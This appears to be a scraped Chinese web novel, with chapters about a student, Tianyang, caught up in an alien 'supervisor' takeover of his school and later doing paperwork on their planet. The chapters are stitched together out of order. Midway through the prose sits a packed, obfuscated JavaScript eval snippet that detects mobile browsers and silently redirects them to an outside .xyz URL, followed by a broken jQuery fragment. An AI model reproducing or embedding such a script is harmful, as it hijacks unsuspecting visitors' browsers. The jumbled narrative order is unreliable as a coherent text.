“啊,这样啊,那你这几天小心一点吧,不过有葛老护着你应该没事。” “嗯。” “好了你出去吧,出门右拐,会有人带你去见葛老。” “好。” 天仰安静地从这个满是仪器所在的房间里出去,最后看了一眼川珩,他看上去疲惫不堪,但还是强忍着困意,从桌子上拿起了几张报告再查看。 他轻轻地关上门。 去隔壁找人。 “你好,我是地球来的,001的下属。” “哎不错嘛这么快就到了,看来地球离我们这儿不远下次可以去玩玩。” “……” “走吧,我带你去找葛老。” —— 实验室的另外一端走廊。 天仰耐着性子跟着眼前这个穿着白色工作服的HNR星人走走停停,绕了好几个弯路,一路上一堆人在打量他这个地球人。 但碍于前面这个人的面,没有说话,只是很安静的看着他们走。 走远了才传来叽叽喳喳的讨论声。 “你别介意啊,他们很久没有看到地球人了,有点激动。”前面的人不好意思的扭过头笑了笑。 天仰倒是没什么,自从经过生存考验,他已经习惯被人这样打量了:“没关系。” “对了,我叫蓝枫,以后在这遇到什么事情可以来找我。”HNR星人主动介绍自己。 “嗯,你好,我叫天仰。” …… 走了很久很久。 蓝枫终于停下了脚步,敲了敲眼前的一道不起眼的小门:“长官,人我带来了。” 说完之后,扭头往后解释道:“别误会,只是因为大长官身份特殊的原因,不便在正常工作室,不然也不必将他藏在于此。” 绝对不是因为他们待客不周!!! 天仰对此根本不在意,毫不在意的点了点头。 里面的人传了一声应允后,蓝枫便把门打开,让天仰进去。 自己则留在外面看守。 天仰进去以后,看到了一个庞大的桌子上摆了各种七七八八的材料,简直快堆成一座小山。 而小山的后面,正是坐着,那个光屏上看到的上了年纪的男人。 “孩子,你终于来了。” 葛老在看到天仰之后发出一声叹息,这么多天的劳累累计在身上,压的他简直要喘不过气。 “大长官好。” 天仰有礼貌的问了声好,但丝毫不知道葛老让他来这的目的是什么。 “你就是001的下属了吧。”葛老行动缓慢地从小山的后面站起来,慢慢的从桌子旁取出一根做工精细的金色拐杖。 “来,你坐在这儿。” 葛老用拐杖敲了敲桌子。 天仰不由得缓缓打出一个问号:? 什么东西? “既然你是001的下属,那么他积攒这么多天的公务,就劳烦你替他做完了,有什么需要跑动的可以叫门口的那位研究员。” “??” “既然你来了,那我就先回去休息了,年轻人好好干,我这一把老骨头可支撑不住了……” 随即,葛老哼着不知名的旋律,慢慢地走出去了。 留下天仰跟桌子上那堆宛如天书的公务大眼瞪小眼。 这分明是随随便便抓一个苦力过来干活啊!!! 简直了,简直了,这简直就不是人能干的事情。 天仰一脸悲愤的坐到那把椅子上,含辛茹苦地批阅着所有的公务。 这明明不是他应该干的事情,怎么现在又由他来做了? 明明在地球上他还闲不到一周,怎么一来到这个星球就马上就要忙活起来了。 他就不应该站出来! 天仰悲愤地想着。 好在这个星球的人并不是那么没有良心,虽然HNR星人,并不用通过吃东西来增加精力,但蓝枫在百忙的工作之余,还是能想到某位在密室中整理公文的地球人,时不时会贴心的送上吃食。 不过这个时不时,指的是三天之内。 毕竟某些忙碌的研究人员会沉迷于,实验研究中无法自拔。 天仰就这么龟速的批阅着公文,偶尔看到蓝枫带着足够他吃一周的食物进来看陪一会儿,日子过得十分枯燥,且麻木。 他非常想见到那位监管者001大人,好好的揍上他一拳! 不过来知道这里这么久,他偶尔出去跑跑腿,也没有听到任何人提及001这个监管者,也不知道他到底出了什么事情。 直到某天,天仰实在忍不住了,在蓝枫,进来送饭的时候多问了一句:“001到底去哪儿了?” “啊嘞,你不知道吗?”蓝枫的表情看起来很震惊,似乎完全没有想过他为什么会不知道这件事情。 “我为什么会知道?”天仰没好气的说道,这么多天他已经和蓝枫混的差不多熟了。 毕竟那么多人好奇地球人,只有蓝枫能靠近他,当然会带着很多疑问来见他咯。 久而久之他们就熟的差不多了。 “所以到底发生了什么?” “就是——前不久不是星球大战,所有监管者都出动了,连去外勤的也回来了。不过当然,这点级别的战斗我们当然能压下去,不出三天就结束了战斗。不过有一点意外的就是,那个星球给我们下了毒……” “毒?” “不过这件事不能对外说,只能说很多监管者中了这个招,现在躺在某个地方抢救。所以身为监管者的他们很多公务必须要做,但是这个时候又没有人顶替,只能找来他们的下属,于是你就来了。” “……” 见到我没必要摆出怎么嫌弃的表情吧 任天仰再怎么能想也没想到会是这个理由把他带到了HNR星。 尽管这个理由十分正常,也确实应该这样。 蓝枫说完这些话,看着天仰默默扶额,似乎陷入了一种十分奇怪的情绪中,便对他更加好奇。 原来地球人这么神奇,还会产生这样子的情绪啊。 “好了,我没事了。”天仰缓过来,对着蓝枫摆摆手:“我继续工作了……” 蓝枫也知道关于001的公务会有很多,便不再打扰,临走前塞了一封邀请函给天仰:“这是我们实验室一个研究团队研究成功的庆祝会,你可以来放松一下。” 蓝枫走后,天仰默默打开邀请函。 时间是这周末,地点就在这个研究中心。 嗯,到时候有时间去看看。 现在的任务是加紧时间把这些东西批阅完,去找降赐。 在这个小小的密室中,天仰任劳任怨,几个晚上通宵没有休息,他拼命地批阅审核。越到后面,他情绪越低迷,从一开始的认真,变成了看几眼觉得合适就盖章。 又熬了几个晚上,天仰忍不住睡意,倒在了文件中沉沉睡去。 醒来的时候迎来了一个意想不到的人,可惜不是他想要的那个。 “喂喂,见到我没必要这么嫌弃的表情吧……”002出现在密室里,愤愤不平又吹嘘道:“我可是第一个醒来的监管者呢。”比001还厉害呢! “哦,可是也有很多监管者没有中毒。”天仰淡淡地看了他一眼,语气中带着几分不易察觉的嫌弃。 “……怎么说也是我们冲在前头保护他们才第一个感染的好吧,要不是我们站的比较前面,他们早就全军覆没了。”002争论道。 “可是听说你们连那个下毒的家伙都没有抓到。”天仰面无表情地又扳回来一局。 002哑口无言,自知理亏,他心里也清楚,事实上要不是危急关头001挡在最前面替他挨了那么一下,不然他现在肯定还没醒来。 虽然他觉得001这个意图是因为本来只是回来交个材料,他们根本不用参加的,只不过事态紧急被强拉着去,想要报复上面的人,索性中毒就不用处理那么多事了。 难怪001看到他中毒的时候意味深长地看了他一眼,直接从他那个位置闯过来就给他稍稍挡了一下就晕过去了,后面的还是他自己躲开的! 002突然就想冲回急救室把001打一顿。 可恶,没有001,现在权限最高的就是他,一醒来肯定一堆事得做。 002后悔醒过来了。 天仰看着002的表情千变万化,感觉有点意思,便开口道:“001呢?” 002马上反应过来,天仰在这儿是为了给001替班,有了个跟他一样可怜的人002顿时心情大好。 天仰看穿002在想什么,直言道:“外面都在说002是001的下属,既然你也醒了,那这些工作就交给你完成了。也不多,也就这堆吧,哦,还有椅子后面那一坨。那么我就先出去玩了。” 002看着几乎堆满了整个密室的文件,突然意识到了什么,他现在回去装死还来得及吗…… “加油,好好干哦,我来的时候可是比这些更多呢。”天仰没有任何语气地说完之后,便关上了门,走了。 他倒不是故意为难002,他这几天已经批阅了很多文件了,只不过今天早上突然又加急送来了一堆,看起来更多了而已。 更何况,002已经醒了,还能这么大摇大摆出现在他这里说明一点事也没有,出去和谁问都一样。 这不,刚出来了就遇到了蓝枫。 “啊呀,天仰,真巧,是来参加庆祝会的吗?” 天仰这才想起今天已经是周末了,便点点头:“嗯。” “那我们一起走吧。” —— 庆祝会上。 天仰一个人静静地缩在角落里喝着蓝枫拿过来的饮料,看着几张简单的工作桌拼凑成的餐桌,摆在许多这个星球特有的美食,不同研究室的人凑在一起谈论着最新研究的结果,感到有些无趣。 不过好在这个星球的风景十分独特,能够激起天仰的兴趣,他一个人站在窗口眺望着远处的风景,十分入迷。 周围对地球人感兴趣的研究员时不时过来搭讪闲谈几句,发现对方对自己的话题并不感兴趣,便识趣地离开了。 “天仰。” 似乎在发现了这个庆祝会并不那么适合地球人之后,蓝枫从人群中钻出来了,看到了角落里的天仰,十分抱歉地笑笑:“不好意思啊,我们这个庆祝会一般是用来研讨和交流的,邀请你来是不是太无聊了……” “没事。” “我看你成天待在里面工作,会憋出病来,想让你休息一下。” “没事,出来走走,回去效率会高点。” “那就好。” “对了,跟你打听个事儿。” “好,你说。” “监管者002出来了。那001呢?” “目前我们知道的只有002苏醒了,其他监管者还在昏迷中,不过要是能看到其他监管者,就说明他们出来了,目前我们也不知道怎么样。” 天仰有些沉默,对眼前这个处境感到一丝疲惫。 不知道还有多久才能回地球,不过回了地球又能怎么样呢,他的生活已经回不去了。 唉,天仰很久没有跟人说过话,在这个庆祝会上待着也是无聊,想到了之前困扰了他很久的一个问题,便和蓝枫聊起来。 “听说你们星球都是男男女女结婚?” “是啊,男人女人都能生儿育女,就没有性别上的歧视,地位上的相差。” “那男女就不行?” “嗯,以前还是有少数的,现在明令禁止了。之前有一对男女,私下生子后,男人觉得女人怀孕期间很累赘,还不如男人。女人觉得男人在怀孕期间一点也不关心他,还出轨其他男人。这段婚姻便破灭了。陛下觉得男女容易引发事端,便禁止了。” “……” 这还真是……很真实。 天仰有些恍惚,不禁问道:“那你呢,你真的喜欢男人吗?” 蓝枫被这么突然一问,不禁有些羞涩:“喜欢,生来就喜欢。” 天仰:“??”这是怎么知道的…… 蓝枫指了指另外一边的那个角落里,天仰顺着看过去。 两个穿着白衣服的男人抱在一起亲吻得难舍难分,其中一个男人明显比另一个男人看上去高大不少。 蓝枫有些不好意思地扭过头去,道:“男人多强大啊,而却长相也……” 天仰仔细地看了一圈。 不得不说,HNR星人的基因真的很好,男男女女都生的貌美帅气逼人,身上所带着一股英气。 “你们地球人也很好看啊,长得白白的,很纯净。”蓝枫再次开口。 天仰:“……” 确实,和HNR星人比起来,地球人更加瘦弱。 天仰回头看着眼前的蓝枫,虽然同样是人,但不同星球,对方确实比他强壮很多。 蓝枫也知道地球现在的处境,因为环境遭到严重破坏,自然降下惩罚,HNR星的监管者代替地球来惩罚,多少给地球人很大的阴影。 没有办法,HNR星作为宇宙中的主星,人的发达最完善,掌控的权利也越强,所有体系完善,自然而然就接管了管制宇宙各个星球的使命。 “要是地球待不了了,你们也可以来HNR星,我们是不会放弃你们的,在这里的规章下,你们也可以重获生活。”蓝枫真心实意道。 毕竟这么多年了,HNR星接纳了那么多外来星球的人,却始终没有地球人,如今地球人因为环境问题被母性驱逐,理所当然也应该来到主星继续生活。 “谢谢。”天仰知道这并不是他能够决定的。 庆祝会的时间过得很快,马上到了尾声。 等到结束之后,天仰疲惫地回到密室,打开门,发现里面的文件全部消失了。 “???” 天仰第一反应是遭了贼,直到看到坐在椅子上的002才安下心来。 “哟呼,你回来了。” 002看到天仰显得很得意洋洋:“怎么样,我厉害吧,全部都完成了哦~~~” 天仰一副不愿意相信他的样子:“……”骗鬼呢。 “哎呀,别不相信我嘛,怎么说我的下属也不会是只有一个人的,把所有下属召集了来这里,不就可以一次性解决好多事啦。” 天仰的关注点显然不是这个:“所有下属?地球上的呢?” “地球上的当然是留在地球上解决地球上的事物咯。”002这话说的跟绕口令一样。 所以,沈郢他们没有过来。 天仰有些失望,又有些安心,以防万一沈郢他们来了之后被卷入了什么危险之中,那可就不好办了。 “所以,身为001下属的你……”002拉长了调子。 天仰猛地抬起头,听002把话说完。 “现在就算你休假了~” “休假?在这儿?” “不然呢,怎么说你也是001的下属,为了以防万一处理突发的任务,这种事情只能交给你来,怎么可能随随便便让你回地球。” “……” “不过嘛,如果001醒过来的话,让你回地球也不是不可能。” “!” “他的急救室就在北城区。” 你的未来 夜已深,天仰眺望着远处绿化被破坏的教学楼,目光平静且疲惫,不知道心里在想些什么。过了一会儿,若有所感地看向天空,却见原本深灰色的月亮突然染上了一抹诡异的红,如梦如幻,刹是诡异,他的心跳莫名快了一拍。 天仰微微皱了皱眉,摸出内衣兜里的眼镜,想要更仔细端详月亮,却看不出什么究竟。半晌,他回过身进了屋。 论谁看到这么诡异的场景都会第一时间和身边人吐槽,可天仰并没有这么做。他看了看寝室内三个沉默寡言的室友,还是转身回到了床上。 这些天,他们学校已经发生了非常多不可思议的事情,这种看似不大正常的事情已经激不起他们的兴趣了。除非是像前段时间学校地理环境莫名其妙遭到严重破坏,全校网络中断,领导大批无故失踪,校门出去了也会离奇传送回校门口这种事才能引起他们的注意。 毕竟,在全校网络中断前的最后一分钟他们已经收到了来自辅导员的紧急通知,除了宿舍楼,哪里都不能去。 天仰从床上摸出手机,打开的那一瞬间亮度简直要闪瞎他的眼,这时他才想起来寝室这个点早断电了。 虽然只能待在宿舍不能出去,但是到了平常熄灯的点,电会自动断掉,也不知道是谁在操作。 没有网络的时候只能依靠短信来联络。 手机上是沈郢给他发来的几条短信。 沈郢还是一如既往地早睡,好像压根没有受到环境的影响。可天仰知道,他的心里肯定很煎熬。 所有信号中断,能够用来联络的短信也只能在校园使用。与外界联系不上,也不知道外面怎么样了,父母、亲戚、朋友不知道是不是也跟他们一样遭受着这样的离奇事件。 天仰叹了叹气。 也不知道外面的人注意到他们学校的离奇事件有没有报警,如果说报警也没用,他们真的是只能困在这里等死。 本以为上了大学就能好好学习个一技之长,将来好找个像样的工作。虽然没什么人对他抱有太大希望,但是他自己还是很拼命地考上了大学,和他的朋友沈郢一起上了同一所大学。可没想到,才上了大学半个月都不到就出了事,完全无法对现在的处境期待下去啊...... 天仰倒头埋在枕头上,试图让自己睡着,却不知道为什么心里隐隐感到不安。 窗外月光依旧柔和,而那血染的红却不知不觉侵染了整个月亮,渡上一层可怕的气息。 操场上,一团诡异的光圈突然出现,逐渐扩大。 第二天天亮的时候,天仰是被室友吵醒的,他的脑子还有些迷瞪,就听见室友吵吵闹闹地聚集在窗户前。 “啊,天仰快来看啊,出事了......” 室友的一句话顿时让天仰清醒了不少,他脑子里一闪而过昨晚见到的诡异红色,动作迅速地翻身下床,却因为动作太急而有些贫血,眼前空白了一会儿,便马上挤到窗户边张望。 宿舍楼与面的教学楼前隔着一个空旷的操场,按理来说这段时间不应该有人。但此时操场上却出现了一团巨大的诡异的雾气,而雾气的周围布满了无数身穿异服的人。站姿挺拔,纪律森严,没有一点声音,按着奇特的队形集中,每个队列前站着一名看似指挥官的人,衣服比其他人更加华丽些。 而操场的周围已经聚集着很多不怕死的学生在进行围观。 不过,这些人看上去都和人长得一模一样,但直觉告诉学生们,他们可能并不是这个世界的,可能也不是人。 这个直觉一直到天仰被好奇心旺盛的室友一同拉到操场上围观,才深刻的感觉到。 他们,或许真的不是人。 天仰看着眼前没有任何表情的“人”聚集在一起,没有任何动静,如同披着人皮的机器,没有一点人的气息,甚至表情都是一模一样,给人毛骨悚然的感觉。有一种压迫感在心中蔓延开来,一发不可收拾...... 如果连他也产生了这种情绪,那沈郢肯定也不好受。 他当机立断掏出手机给沈郢发了条短信过去,让他千万不要出宿舍。 沈郢的宿舍是在另外一栋,被挡着,看不到操场上发生的情况。 依照多年的交情,这条消息虽然没有明确说明是什么情况,但沈郢知道一定是出了什么大事,不会轻易出门。 天仰盯着场上的“人”,一句话都说不出来。 全场陷入了死寂。 这时全校广播响起一道机械般的声音:“所有人听从最高监管者的命令,反抗者,死。” 全校顿时一片愕然。 没有人听得懂这是什么意思。 最高监管者是什么?死是真的死还是忽悠恐吓他们的?他们究竟是什么东西? 未知的恐惧在学生中弥漫开来,不知是谁先开始往宿舍楼跑的,带动了满多人也一同奔向宿舍。而操场上站着的那些“人”,似乎对他们的行为没有起任何反映,依旧呆在原地。只有每个队列前的那几个“人”聚集在了一起,周围逃跑的人动静盖过了他们交谈的声音。 天仰仔细看了看,一共有六个“人”。 还来不及他多看几眼,室友一个劲儿地揪着他,压低声音,似乎是害怕被那些人不人鬼不鬼的东西听到:“天仰还愣着干什么,赶快快跑啊!” 天仰猛地被室友一拽,有些没反应过来,目光还停留在那六个“人”身上没有移开。 其中,一个胸前戴着朵含苞欲放的白玫瑰的“人”似乎注意到了他们这里的动静,烟紫色的眸子里没有一丝波澜,朝他们望去。 天仰和他对上视线时,还没来得及做出任何反应,那“人”已经先一步移开视线。 被拽走时,天仰满脑子那朵白玫瑰...... 回到寝室。 “卧槽卧槽,刚刚走的时候有个人好像往我们这看了一下,我是不是要死了......” “啊天哪,刚才那几个有动静的不会是什么监管者吧,看起来好像比那群不会动的人更恐怖啊!” “这不是重点,重点是你们有没有听清楚那个广播说的啥啊啊啊......” 室友一个个吼出来,控制不住内心的咆哮,只有天仰一时间还没有太大反应。 与其说没有反应,倒不如说,他对现在发生的这些有着不真实感。 天仰看着室友接二连三地发问,他甩了甩头,试图让自己冷静些,掏出手机看沈郢有没有发来什么消息。 其实他这三个室友的反应已经算是很好了,比起其他已经在崩溃边缘的寝室,他们三个的鬼哭狼嚎看起来更像是在闹着玩。 更何况他们仨平时就挺闹腾。 “那个监管者,我看应该就是那六个人。”待室友稍微冷静一些了,天仰已经思考了一番后才开口:“毕竟就那六个人行动自如,现在虽然不清楚是什么情况,但是学校老师什么的应该不会坐以待毙,放任这些外来者,给我们一个合理的解释。” 话音刚落,广播的声音再次响起,开头是有人轻拍了几次话筒,确定声音能传出来,才有一道似人非人的声音传出来:“我是来自HNR星的监管者,代号004。从现在开始这所学校的监管权在我们手里,现在由我来安排近期所有事项。明日起请学校里所有的幸存者必须参加生存考验,按照你们的专业顺序轮流进入考验场地,其余人必须在周围观摩,学习生存技巧。成功存活者生,无法出来者死。违抗监管者死。另有大批监管者的部下监察生进行学校巡视,安排各位的出行顺序,不得扰乱纪律,违抗者死。” 这段话说完,全校陷入了死寂。 不知过了多久,周边的女生宿舍爆发了成片的哭喊声,紧接着男生宿舍也传来了不少因为崩溃而砸东西的怒吼声。 天仰的寝室倒是还好,四个人凑在一起,乖乖听完广播。直到其中一个室友说:“天仰,那个,要不你下次还是不要说话了,你不说话其实还好,可你一说话就......” 话还没说完,室友先不受控制的笑起来,其他室友也忍不住笑了起来,于是四个人顿时笑成了一团。 也不知道是他们没心没肺,还是神经过于大条,都这种时候了还能笑出来。 室友抹了抹笑出来的眼泪:“哎,说真的,我感觉还挺奇幻的,小时候希望学校被异世界的人统治不用上课的想法终于实现了,可是怎么偏偏是在大学哎奇了怪了,太可惜了这要是放在小学初中哎,能高兴死一堆人”。 “那你刚刚还吓成那副鬼样,说实话这种想法我初高中也有过,不过一直没机会实现。唉,现在突然发生了,是不是马上会出现一个救世英雄什么的?” “都这时候了还想这个问题,我们不应该像电影里开始想想接下来该怎么办,逃生方法啥的。” 几个室友都是从小看奇幻动画长大的,有点不寻常的想法也是正常的。不过天仰听着他们的对话,虽然感觉很想笑,但也意识到一些问题。 接下来该怎么办? 学校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353461|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了这副鬼样子还受法律管吗? 外面会不会也出事? 过去 “本来呢,你们的长官应该是001,但他公务繁忙,由我暂时替代。反正也是临时的,到时候还要分等级呢。”002说得很轻松的样子。 002说完之后意味深长地看了所有人一眼。 有人发问:“这个分级考验会有生命危险吗?” 002回答:“当然不会了,你们都是幸存者,本来人就少了,怎么可能还让你们出事。遇到生命危险会第一时间把你们传送回来的,当然啦,这样做的话等级很低哦。” 天仰一针见血地问道:“那举办生存考验的意义是什么,就是为了给我们分类吗?这样做有什么意义?” 002听到这样的问题,表情看上去不太好:“你们难道没有发现,地球已经被你们人类搞得翻天覆地,正在垂死挣扎了吗。我们修复了地球,却发现根本无法拯救,按照规定,我们是来给人类惩罚的。让人类感受到地球被毁坏后的样子,从中活下来的人当然赢得了活下来的权利。” 天仰内心毫无波澜地听完了所有的话。 “还有哦,你们有什么事可以随时来找我。在分级考验之前,我希望你们好好去训练一下。”002又恢复了一副笑嘻嘻的模样,见没人再说话,很识趣地先走了。 002走之后的会议室仍静悄悄。 直到林知秋在天仰的示意下,站了起来:“大家也都听见了刚刚监管者所说的话,现在我们十个人是一个班的,我认为在所有专业结束前,去提升一下自己的实力。” “第三层有很多间训练室。”天仰提示道。 “所以大家不要抱着侥幸的心里,接下来也要努力生存下去,不要再出现无畏的牺牲了......”林知秋说道最后一句时表情有些暗淡。 周围人都没什么意见,毕竟在座的实力都有目共睹,很多人都是在臻耀的帮助下活下来的,当然不希望再发生什么,所以林知秋这番话他们听得很认真。 林知秋想了想,应该在十个人中选一个小队长什么的,维持秩序,或许以后人多起来会有什么用处。他看向了天仰,后者轻轻摇了摇头,似乎早已猜测到他在想什么。 天仰不愿意当这个领头人。 林知秋也知道,天仰在外人面前十分内敛,能不说话就不说话,就算他是第一个幸存下来的人,也不代表他想当领头人。 于是,他说道:“我们现在也是一个集体了,十个人凑成一个小队。既然都是从一个班出来的,我想应该有一个队长的职位,大家有什么意见吗?” 林知秋原来在班上学习成绩大家都有目共睹,现在站出来大家当然也没有什么意见,毕竟他们只是想活下去,谁来当都一样,只是希望能够有脑子一点的。 下面马上就有人附和:“我觉得可以啊,天仰当队长,你可以当军师,为我们出谋划策哈哈哈......” 天仰是第一个幸存者,在绝大部分人眼里都很强,所以大家心里早就把天仰当成第一领导人了。 林知秋也猜得到大家心里的想法,就算自己真的当上了队长,有些人也不一定会认可他,更何况以后要招纳更多的人进来,天仰就是最好的招牌。 天仰没有任何表示。 林知秋用眼神询问他,天仰回了一个无所谓的眼神给他。 毕竟当上队长后,正在管的人也不是他,他只是挂着个名号而已。 “那好,尊重大家的意见,天仰是我们的队长,我是副队长,接下来我会给大家制定严格的训练计划,请大家一定要认真完成。”林知秋随着大家的意见,既然天仰没什么问题,他也没事。 “副队,我们是不是应该给队伍取个名字什么的?” “副队副队,我看到系统里有一个队伍创建我们可以在上面创建一个。” “那以后就有越来越多的人来加入我们了。” 林知秋对他们这些建议都还不错,便转身问天仰:“你想取什么名字?” “都行吧,没差。”反正我也不用管...... 天仰当然没敢把那句话说出来,毕竟按林知秋这负责任的性子,估计出去了能打死他。 “那就......”林知秋沉思了一阵:“Tian吧。” 对于队伍名字,大家都没什么意见,纷纷催促天仰赶紧建个队伍他们好加入。 天仰召唤了一下系统。 【下午好,幸存者001】 天仰:创建队伍。 【好的,请稍等......】 【幸存者队伍创建中......】 【幸存者队伍创建完成,请编辑队伍名称】 天仰:Tian。 【好的,幸存者队伍Tian创建成功】 队伍刚创建好,天仰便收到了一堆入队申请。 【编号002幸存者林知秋请求加入幸存者队伍Tian】 【编号003幸存者桦烙请求加入幸存者队伍Tian】 【编号004幸存者......请求加入幸存者队伍Tian】 【编号005幸存者......请求加入幸存者队伍Tian】 ...... 十条申请涌了出来。 天仰在无数条申请中找到林知秋,迅速把他拉进来,设置他为副队长,并开通了一半的队伍权限给他。 完全不想管这么多事...... 做完这些事,林知秋看起来还要说什么,天仰就先行一步告退,他实在懒得把精力消耗在这里。 他看了看在角落里低沉的桦烙,见对方还沉浸在悲伤之中,便和林知秋点点头,便出去了。 天仰站在会议室门口,掏出手机看了看时间,已经是晚上七点多了。这个点去找沈郢也聊不了多久,看了看沈郢发来的消息,没有太大的事情,倒不如明天再去。 想了想他还是会宿舍继续补觉好了。 “你在这。” 一个低沉的男声在耳边响起。 天仰收起手机,抬头看向突然出现在他旁边的降赐。 降赐:“我们聊聊?” 天仰也没什么意见,便同意了。 201。 天仰有些局促不安地坐在沙发上,手里捧着一杯热奶茶。他目不转睛地盯着眼前的茶几,生怕一扭头又看到或听到什么奇奇怪怪的东西。 降赐从房间里换了一身常服出来,他刚刚开完会就赶过来了。 天仰表情僵硬地看了他一眼,没有说话。 降赐看他的表情也猜得出他在想什么,于是也没有过多地铺垫直接解释道:“放心吧,这间房子里现在就我们两个人,不用那么拘谨。上次是个意外,以后他们不会随便来我的房子。他们平时都是来我这里打游戏的,我的房子很大,有三层,很多东西都有,是上级配备的,我平时也用不到,他们就来这打游戏。” 天仰继续用奇怪的眼神瞟了降赐一眼,仍不说话,手里的奶茶也不敢动。 降赐关注着天仰的表情:“如果你介意,以后我就都不让人进来了。” 天仰有些奇怪地瞟着他。 你跟我说这些有什么用...... “对了,听说你刚刚创建了一个幸存者队伍。”降赐岔开话题。 天仰难得开了口解释道:“挂了个名号罢了。” “以后你若是想扩大势力我可以帮你,我们这里有一些监察生还是不错的,还没有队伍。” 天仰顿了顿:“不用。” “以后用得上我的地方我会尽力帮助你。”降赐看起来很认真:“还有,你的天赋是幻想力,我给你的那个道具很适合你用,你可以好好养一养,等分级考验时,对你的帮助会很大。” 天仰点点头,就算降赐不说,他也知道这些道具很珍贵。 “现在上级对你们地球人的意见还是很大,给你们的道具不一定很好,所以,在你变强之前,尽可能不要招惹其他的监管者。” “你。”天仰犹豫了一下,还是问道:“你为什么一直帮助我?” 降赐的眸子突然深邃起来,似乎陷入了什么情绪中,过了很久才开口,声音已经有些微微嘶哑:“那是过去的事了,你应该是不记得了,等你变强之后,我会慢慢告诉你的。现在,我们这个身份,很多事情都不能明说......” 果然有什么事是他不知道的。 天仰观察着降赐的表情,确定这是真实的不作假的情绪,才稍稍信了一点。 两人又闲聊了一会儿,天仰才回去休息。 ...... 经过这一次闲聊后,两人的关系变得没那么拘束。 至少在日后见面,天仰已经能直视降赐了。 休息一晚后,天仰边洗漱边用手机联系沈郢,打算待会就去找他,听说明天就轮到他们专业了。 天仰洗漱一番后,带了一些之前考验用剩的道具,看了看有点少,决定去隔壁找林知秋问问有没有什么不用的道具之类的。 林知秋一听是要给沈郢的,便从行李箱里挖出一大堆奇奇怪怪的东西,还特地收拾了个包出来。 天仰默默接过,有些被震惊到,好像明白了当时他们为什么那么自信满满地进去了。 谢过林知秋后,天仰在一层随便抓了个监察生刷脸出去。 再次传送到寝室楼前,天仰马上去了操场,在满操场上找沈郢。 终于在几个班之后,看到了沈郢所在的班级,便匆匆赶过去。 随着越来越多的专业进入生存考验,存活下来的人也越来越少,就算是好不容易活着出来的人,也可能因为支撑不到救护队的到来,而死亡。 未来 天仰和沈郢会和后,去问了旁边的监察生能不能带沈郢出去单独说说话,监察生没有制止,他们就去了个没有人的小角落。 安静的教学楼楼梯口。 天仰把准备的所有道具一股脑地塞给沈郢,又把其中几个道具的用法告诉他,教他怎么藏,以及哪里适合躲。 沈郢一字不漏地听着,生怕自己错过了什么有用的信息。 把大致有用的信息告诉沈郢后,天仰还是担心沈郢,想到了自己的两个特殊道具,一瞬间豁然开朗了很多。 一把从脖子上拽下一颗血红色的珠子,珠子散发着微弱的光芒,隐隐有不寻常的气息环绕其中。 “这是一个保命道具,关键时候能抵一次生命。”天仰将血垒珠挂在了沈郢的脖子前,小心翼翼地把它塞进衣服里,仔细遮掩住,免得被人发现。 沈郢的表情突然严肃起来:“你一个新人,就算是第一个幸存者,怎么可能奖励这么好的道具。” 天仰也没想过要瞒他,反正迟早都会知道的:“确实不是奖励的,这个是监管者给我的。” “001?”沈郢一下子就道破:“你和他走得很近,第一天他就找过你了。” 天仰心中暗暗震惊沈郢调查他的事又那么快:“对。也不知道什么原因,我们现在还算不错,他也没有对我干什么。” 沈郢的眉头紧了几分:“他到底是个监管者,能不要走近就不要走近,001这个名号怎么说也是排在第一位的,多少有点手段和实力,你不要被他骗了。更何况他还不是地球人,很危险。” “啊好,好了好了我知道了,你别老担心我。幸存者日常生活中心很安全的,我希望你快点完成生存考验,早点进来。”天仰整天被念叨惯了,有些麻木不仁。 “我知道,但你也要小心,不能掉以轻心。” “知道了知道了,我到时候再想办法看看能不能混进去帮你。” “太危险的事不要去尝试,我自己会想办法出来的。” ...... 就在他们谈话谈到一半时,旁边突然走出来个冰蓝色长发的美男子,吸引了他们的目光。 沈郢警惕地看着这个人,总感觉哪里不对劲。 “哦?”川珩在看到他们后,停下了脚步,异常冷漠的眸子来了点兴趣:“这是你的男朋友吗?” 天仰顿时满头黑线,就知道这人有些奇奇怪怪,果然是个gay。 沈郢则是被他这句话给惊呆了,好半天说不出话来。 天仰解释道:“不是,他是我朋友。” “地球人都这么好看的吗。” 川珩细细地端详着沈郢,突然对沈郢说道:“既然不是男朋友,那么......帅哥,有没有兴趣留个联系方式。” 沈郢满脸大写的震惊:“?!!” 天仰:“......” 在天仰提沈郢拒绝后,川珩也没有多纠缠什么,直接走了。 过了好一会儿,沈郢仿佛才回过神来:“他是谁......” 天仰:“呃,当初治疗我的医生。” 沈郢猛地盯向天仰,脑海里一堆奇奇怪怪的场景浮现。 外星人都这么可怕的吗,那天仰住在那里岂不是......不行,我也赶紧通过生存考验。 天仰不知道沈郢又脑补了什么剧情。 他已经无力解释了。 天仰:“那差不多就这样了,等你通过我就来接你。” “好,不过还有个问题我想问问。”沈郢思来想去,发现漏了一件事:“成为幸存者之后还要做什么,或者说他们有什么目的?” 天仰回忆了一下002的话,总结道:“大概就是选拔优秀人才,分等级,然后帮他们做事。” 天仰没有把外面的世界同沈郢说,在这场生命考验前,他怕影响到沈郢的心态,导致接下来的考验很危险。 “好,我大概知道了。”沈郢是个聪明人,很多事天仰没有明说,他也知道这个时候还是不要多问为好,毕竟天仰有事不会瞒着他的。 “那你早点回去吧,多看看里面的环境。” “你也回去训练吧。” 两人告别后,川珩这个小插曲并没有影响到他们,不过沈郢私底下还是调查了一下这个奇怪的异界人,但也只打听到了这个人不是监管者,却位高权重,和001关系不菲。 天仰根本没有在意这件事,一回到房间就进入私人训练室,在里面训练了一整天,把无限形态盒用得熟能生巧,甚至把天赋又升到了82%。 除此之外,天仰让系统开启了第一场生存考验的模拟场地,在里面走了一遭回来,发现有无限形态盒再结合天赋幻想力,简直没什么可担心的。 于是,天仰便把目光放在了监察生考验的模拟场地,打算下次来试试。 模拟场地好的一点就是在遇到生命危险时可以随时喊停。 所以过的比第一场紧张兮兮的好太多了。 时间到了晚上八点。 